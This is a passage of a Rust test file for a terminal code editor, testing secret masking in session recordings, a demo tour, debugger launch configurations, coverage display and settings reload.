    let key = "AKIAIOSFODNN7EXAMPLE";
    app.terminals[0].feed_bytes_for_test(
        format!("\r\n\x1b[32mexport KEY={key}\x1b[0m\r\n\x1b[34mQQBLUE\x1b[0m\r\n").as_bytes(),
    );

    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);
    app.record_active_screen();
    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);

    let frames = recorded_frames(&app);
    let frame = frames.first().expect("an output event");
    assert!(!frame.contains(key), "the key reached the cast: {frame:?}");
    let masked = frame
        .split("\r\n")
        .find(|row| row.contains("export KEY="))
        .expect("the masked row is recorded");
    assert!(
        !masked.contains('\u{1b}'),
        "the masked row carries no escapes: {masked:?}"
    );
    assert!(
        frame.contains("\u{1b}[34mQQBLUE\u{1b}[0m"),
        "the next row keeps its colour: {frame:?}"
    );
}

/// #377, as a user takes it: `croft demo`, then Enter and nothing else.
/// Every popup a step opens takes its own Enter, and that Enter must do the
/// harmless thing the caption says (open app.py, open the theme picker,
/// keep the theme), never whatever sorts first (the marker file, or Move
/// Line Up into the sample). The tour then ends with the sample's files as
/// they were created, and no tab left naming a deleted file.
#[test]
fn the_whole_tour_takes_enter_only_and_leaves_nothing_behind() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.start_demo();
        let scratch = app.workspace_root().to_path_buf();
        let mut opened = Vec::new();
        let mut presses = 0;
        let mut saw_theme_picker = false;
        while app.tour.is_some() && presses < 30 {
            if let Some(step) = app.tour.as_ref().and_then(|r| r.tour.current()) {
                // The sample, as created, at every step: nothing typed into it.
                for (rel, text) in crate::tour::sample_files() {
                    if let Ok(on_disk) = std::fs::read_to_string(scratch.join(rel)) {
                        assert_eq!(on_disk, text, "{rel} at {:?}", step.action);
                    }
                }
            }
            app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
                .unwrap();
            presses += 1;
            saw_theme_picker |= app.context_menu.is_some();
            if let Some(path) = app.editor.path.clone()
                && !opened.contains(&path)
            {
                opened.push(path);
            }
            let dirty: Vec<_> = std::iter::once(&app.editor)
                .chain(app.editor_layout.inactive_groups())
                .flat_map(|g| g.editors.iter())
                .filter(|e| e.dirty)
                .filter_map(|e| e.path.clone())
                .collect();
            assert!(dirty.is_empty(), "Enter #{presses} edited {dirty:?}");
        }
        assert!(app.tour.is_none(), "Enter alone finishes the tour");
        assert!(presses <= 12, "{presses} presses for an 8-step tour");
        assert!(
            app.context_menu.is_none() && app.command_palette.is_none(),
            "no picker the tour opened outlives it"
        );
        assert!(
            saw_theme_picker,
            "the palette's Enter opened the theme picker, and Enter closed it"
        );
        assert!(
            opened.contains(&scratch.join("app.py")),
            "Quick Open's Enter opened app.py: {opened:?}"
        );
        assert!(
            !opened.contains(&scratch.join(crate::tour::SCRATCH_MARKER)),
            "never the marker file: {opened:?}"
        );
        assert!(!scratch.exists(), "the sample project is gone");
        assert_eq!(app.workspace_root(), tmp.path());
        let left: Vec<_> = std::iter::once(&app.editor)
            .chain(app.editor_layout.inactive_groups())
            .flat_map(|g| g.editors.iter())
            .filter_map(|e| e.path.clone())
            .filter(|p| p.starts_with(&scratch))
            .collect();
        assert!(left.is_empty(), "tabs naming the deleted sample: {left:?}");
    });
}

/// #377: Esc mid-tour closes the sample's tabs too, an edited one
/// included, so no save can write a scratch file back.
#[test]
fn leaving_the_tour_closes_the_samples_tabs_even_edited_ones() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.start_demo();
        let scratch = app.workspace_root().to_path_buf();
        app.focus_pane(Pane::Editor);
        app.editor.insert_char('x');
        assert!(app.editor.dirty);
        app.split_editor();
        app.close_all_modals_for_test();
        app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
            .unwrap();
        assert!(app.tour.is_none());
        assert!(!scratch.exists());
        let left: Vec<_> = std::iter::once(&app.editor)
            .chain(app.editor_layout.inactive_groups())
            .flat_map(|g| g.editors.iter())
            .filter_map(|e| e.path.clone())
            .filter(|p| p.starts_with(&scratch))
            .collect();
        assert!(left.is_empty(), "tabs naming the deleted sample: {left:?}");
    });
}

/// #356: a run of one colour stays one SGR run across the soft-wrap column
/// and across a wide character. Both carry cell flags that are layout, not
/// style, and keyed on those the run was reset and set again around them.
#[test]
fn a_colour_run_is_not_split_by_the_wrap_column_or_a_wide_char() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminals[0].resize(20, 6);
    let long = "y".repeat(30);
    app.terminals[0].feed_bytes_for_test(
        format!("\r\n\x1b[33m{long}\x1b[0m\r\n\x1b[32mab\u{4e2d}cd\x1b[0m\r\n").as_bytes(),
    );
    let (rows, _) = app.terminals[0].screen_ansi_wrapped();
    let ansi: Vec<&str> = rows.iter().map(|(_, a, _)| a.as_str()).collect();
    let first = format!("\x1b[33m{}\x1b[0m", "y".repeat(20));
    assert!(
        ansi.contains(&first.as_str()),
        "the wrapped row is one run: {ansi:?}"
    );
    assert!(
        ansi.contains(&"\x1b[32mab\u{4e2d}cd\x1b[0m"),
        "the wide char sits inside its run: {ansi:?}"
    );
}

/// Pick the launch.json configuration `label` in the Run and Debug picker,
/// which starts it, as the user's click does.
fn start_debug_config(app: &mut App, label: &str) {
    app.open_debug_config_picker();
    let idx = app
        .list_picker
        .as_ref()
        .expect("picker open")
        .rows
        .iter()
        .position(|r| r.label.starts_with(label))
        .unwrap_or_else(|| panic!("{label} is listed"));
    app.list_picker.as_mut().unwrap().selected = idx;
    app.confirm_list_picker();
}

/// Drive the app's debug machinery (the preLaunchTask pane and the adapter)
/// until the focused session is stopped with `local` loaded, or `secs` pass.
fn debug_until_local(app: &mut App, local: &str, secs: u64) -> Option<String> {
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(secs);
    while std::time::Instant::now() < deadline {
        app.drain_terminal_bells();
        app.poll_dap();
        if let Some(v) = app
            .debug_sessions
            .focused()
            .and_then(|s| s.lookup_local(local))
        {
            return Some(v.value.clone());
        }
        std::thread::sleep(std::time::Duration::from_millis(50));
    }
    None
}

/// #250, against a real debugpy: a VS Code launch.json config with `args`
/// and an `envFile` launches the program with both, so a breakpoint after
/// they are read sees their values. Needs `~/.croft/debug-venv`.
#[test]
#[ignore = "requires ~/.croft/debug-venv (uv + debugpy)"]
fn a_launch_json_python_config_passes_args_and_env_file() {
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    std::fs::write(
        root.join("app.py"),
        "import os, sys\nwho = sys.argv[1]\ngreeting = os.environ[\"GREETING\"]\nprint(f\"{greeting}, {who}\")\n",
    )
    .unwrap();
    std::fs::write(root.join(".env"), "GREETING=hi from envFile\n").unwrap();
    std::fs::create_dir_all(root.join(".vscode")).unwrap();
    std::fs::write(
        root.join(".vscode/launch.json"),
        r#"{ "version": "0.2.0", "configurations": [
            // Written for VS Code: comments, and keys croft does not map.
            { "name": "Py", "type": "debugpy", "request": "launch",
              "program": "${workspaceFolder}/app.py", "args": ["croft"],
              "envFile": "${workspaceFolder}/.env", "console": "integratedTerminal",
              "justMyCode": true }
        ]}"#,
    )
    .unwrap();
    let mut app = App::new(root.clone()).unwrap();
    app.editor
        .breakpoints
        .entry(root.join("app.py"))
        .or_default()
        .insert(4);
    start_debug_config(&mut app, "Py");
    let greeting = debug_until_local(&mut app, "greeting", 90);
    let who = app
        .debug_sessions
        .focused()
        .and_then(|s| s.lookup_local("who"))
        .map(|v| v.value.clone());
    app.debug_stop();
    assert_eq!(
        greeting.as_deref(),
        Some("'hi from envFile'"),
        "status {:?}, feedback {:?}",
        app.status,
        app.run_debug.feedback
    );
    assert_eq!(who.as_deref(), Some("'croft'"));
}

/// #250, against a real lldb-dap: a Rust binary that needs a CLI argument
/// and an env var is debugged from a config whose `cargo build`
/// preLaunchTask builds it first. Needs cargo and lldb-dap.
#[test]
#[ignore = "requires cargo and lldb-dap"]
fn a_launch_json_rust_config_builds_first_and_passes_args_and_env() {
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    std::fs::create_dir_all(root.join("src")).unwrap();
    std::fs::write(
        root.join("Cargo.toml"),
        "[package]\nname = \"t\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[workspace]\n",
    )
    .unwrap();
    std::fs::write(
        root.join("src/main.rs"),
        "fn main() {\n    let n: i32 = std::env::args().nth(1).unwrap().parse().unwrap();\n    \
         let k: i32 = std::env::var(\"K\").unwrap().parse().unwrap();\n    \
         println!(\"{}\", n + k);\n}\n",
    )
    .unwrap();
    std::fs::create_dir_all(root.join(".vscode")).unwrap();
    std::fs::write(
        root.join(".vscode/tasks.json"),
        r#"{ "version": "2.0.0", "tasks": [
            { "label": "cargo build", "type": "shell", "command": "cargo build" }
        ]}"#,
    )
    .unwrap();
    std::fs::write(
        root.join(".vscode/launch.json"),
        r#"{ "configurations": [
            { "name": "Rs", "type": "lldb", "request": "launch",
              "program": "${workspaceFolder}/target/debug/t", "args": ["35"],
              "env": { "K": "7" }, "cwd": "${workspaceFolder}",
              "preLaunchTask": "cargo build", "sourceLanguages": ["rust"] }
        ]}"#,
    )
    .unwrap();
    let mut app = App::new(root.clone()).unwrap();
    app.editor
        .breakpoints
        .entry(root.join("src/main.rs"))
        .or_default()
        .insert(4);
    start_debug_config(&mut app, "Rs");
    assert!(
        app.pending_debug_launch.is_some(),
        "the launch waits for the build: {}",
        app.status
    );
    let k = debug_until_local(&mut app, "k", 240);
    let n = app
        .debug_sessions
        .focused()
        .and_then(|s| s.lookup_local("n"))
        .map(|v| v.value.clone());
    app.debug_stop();
    assert!(
        root.join("target/debug/t").is_file(),
        "the preLaunchTask built the binary"
    );
    assert_eq!(
        k.as_deref(),
        Some("7"),
        "status {:?}, feedback {:?}",
        app.status,
        app.run_debug.feedback
    );
    assert_eq!(n.as_deref(), Some("35"));
}

/// #250, against a real vscode-js-debug: a `request: attach` config with a
/// `port` attaches to a running Node server and stops at a breakpoint in
/// it. Needs node and `~/.croft/js-debug`.
#[test]
#[ignore = "requires node and ~/.croft/js-debug"]
fn a_launch_json_node_attach_config_attaches_by_port() {
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    std::fs::write(
        root.join("server.js"),
        "let n = 0;\nsetInterval(() => {\n  n += 1;\n  const label = `tick ${n}`;\n  if (label === '') console.log(label);\n}, 100);\n",
    )
    .unwrap();
    let port = std::net::TcpListener::bind("127.0.0.1:0")
        .unwrap()
        .local_addr()
        .unwrap()
        .port();
    let mut node = std::process::Command::new("node")
        .arg(format!("--inspect=127.0.0.1:{port}"))
        .arg(root.join("server.js"))
        .stdout(std::process::Stdio::null())
        .stderr(std::process::Stdio::null())
        .spawn()
        .expect("node runs");
    std::fs::create_dir_all(root.join(".vscode")).unwrap();
    std::fs::write(
        root.join(".vscode/launch.json"),
        format!(
            r#"{{ "configurations": [
                {{ "name": "Attach", "type": "node", "request": "attach",
                  "port": {port}, "skipFiles": ["<node_internals>/**"] }}
            ]}}"#
        ),
    )
    .unwrap();
    std::thread::sleep(std::time::Duration::from_millis(500));
    let mut app = App::new(root.clone()).unwrap();
    app.editor
        .breakpoints
        .entry(root.join("server.js"))
        .or_default()
        .insert(5);
    start_debug_config(&mut app, "Attach");
    let label = debug_until_local(&mut app, "label", 90);
    app.debug_stop();
    let _ = node.kill();
    let _ = node.wait();
    let label = label.unwrap_or_else(|| {
        panic!(
            "no stop: status {:?}, feedback {:?}",
            app.status, app.run_debug.feedback
        )
    });
    assert!(label.contains("tick "), "{label}");
}

/// #263: the open file rewritten on disk under a clean buffer dims its
/// coverage marks, as an edit in the buffer does: they describe old text.
#[test]
fn an_external_rewrite_of_the_open_file_dims_its_coverage() {
    use crate::testing::coverage::Coverage;
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    let file = root.join("f.rs");
    std::fs::write(&file, "fn a() {}\nfn b() {}\n").unwrap();
    let mut app = App::new(root.clone()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.testing.on_coverage(Ok(Coverage::from_lcov(
        "SF:f.rs\nDA:1,3\nDA:2,0\nend_of_record\n",
        &root,
    )));
    assert!(app.sync_coverage());
    assert!(!app.editor.coverage.as_ref().unwrap().stale);
    std::thread::sleep(std::time::Duration::from_millis(20));
    std::fs::write(&file, "fn b() {}\n\nfn a() {}\n").unwrap();
    assert!(app.reload_open_file_after_external_change());
    app.sync_coverage();
    assert!(
        app.editor.coverage.as_ref().unwrap().stale,
        "the reloaded file's marks are stale"
    );
}

/// #263: a watched scope reruns on a source save, but not on a save of a
/// file git ignores (build output, a `.env`).
#[test]
fn a_save_of_an_ignored_file_does_not_rerun_watched_tests() {
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    let git = |args: &[&str]| {
        std::process::Command::new("git")
            .arg("-C")
            .arg(&root)
            .args(args)
            .output()
            .unwrap()
    };
    git(&["init", "-q", "-b", "main"]);
    std::fs::write(root.join(".gitignore"), "*.log\nout/\n").unwrap();
    std::fs::create_dir_all(root.join("out")).unwrap();
    let mut app = App::new(root.clone()).unwrap();
    app.active_test_root = root.clone();
    app.testing
        .watch
        .toggle(crate::testing::watch::WatchScope::All);
    let later = std::time::Instant::now() + std::time::Duration::from_secs(5);
    for ignored in ["run.log", "out/gen.rs"] {
        app.record_history_snapshot_of(&root.join(ignored), Default::default(), None);
        assert_eq!(
            app.testing.watch.take_due(later, false),
            None,
            "{ignored} is ignored"
        );
    }
    app.record_history_snapshot_of(&root.join("lib.rs"), Default::default(), None);
    assert_eq!(
        app.testing.watch.take_due(later, false),
        Some(crate::testing::watch::WatchScope::All),
        "a source save reruns"
    );
}

/// #263 against a real cargo-llvm-cov: "Run All Tests with Coverage" on a
/// crate marks the lines its test ran green and a function no test calls
/// red, with a percentage between. Needs `cargo llvm-cov` (and the
/// `llvm-tools-preview` component it drives).
#[test]
#[ignore = "needs cargo-llvm-cov"]
fn a_real_cargo_llvm_cov_run_marks_the_covered_file() {
    use crate::testing::coverage::LineCov;
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    std::fs::create_dir_all(root.join("src")).unwrap();
    std::fs::write(
        root.join("Cargo.toml"),
        "[package]\nname = \"t\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[workspace]\n",
    )
    .unwrap();
    std::fs::write(
        root.join("src/lib.rs"),
        // Two literals, not one continued across a line: a continuation
        // line opening with `#[` reads as an attribute to the doc gate's
        // line classifier, which then never sees the closing quote.
        concat!(
            "pub fn add(a: i32, b: i32) -> i32 {\n    a + b\n}\n\npub fn unused() -> i32 {\n    0\n}\n\n",
            "#[cfg(test)]\nmod tests {\n    #[test]\n    fn adds() {\n        assert_eq!(super::add(1, 2), 3);\n    }\n}\n",
        ),
    )
    .unwrap();
    let mut app = App::new(root.clone()).unwrap();
    app.editor.open(&root.join("src/lib.rs")).unwrap();
    app.run_all_tests_with_coverage();
    let end = std::time::Instant::now() + std::time::Duration::from_secs(300);
    while app.editor.coverage.is_none() {
        assert!(std::time::Instant::now() < end, "status: {}", app.status);
        let _ = app.test_worker.drain(&mut app.testing);
        app.sync_coverage();
        std::thread::sleep(std::time::Duration::from_millis(100));
    }
    let lens = app.editor.coverage.clone().unwrap();
    assert_eq!(lens.lines.get(&1), Some(&LineCov::Covered), "`a + b` ran");
    assert_eq!(
        lens.lines.get(&5),
        Some(&LineCov::Uncovered),
        "`unused`'s body never ran: {:?}",
        lens.lines
    );
    assert!(
        lens.percent.is_some_and(|p| p > 0.0 && p < 100.0),
        "{:?}",
        lens.percent
    );
}

/// #262: a `config.synced.json` that arrives by config sync is applied on
/// arrival: it is in the settings chain, so the config watch's reload of it
/// re-runs the merge.
#[test]
fn the_synced_settings_layer_is_in_the_reload_chain() {
    let tmp = tempfile::tempdir().unwrap();
    let app = App::new(tmp.path().to_path_buf()).unwrap();
    let synced = crate::config_layers::synced_config_path();
    assert!(
        app.settings_chain.contains(&synced),
        "{synced:?} in {:?}",
        app.settings_chain
    );
}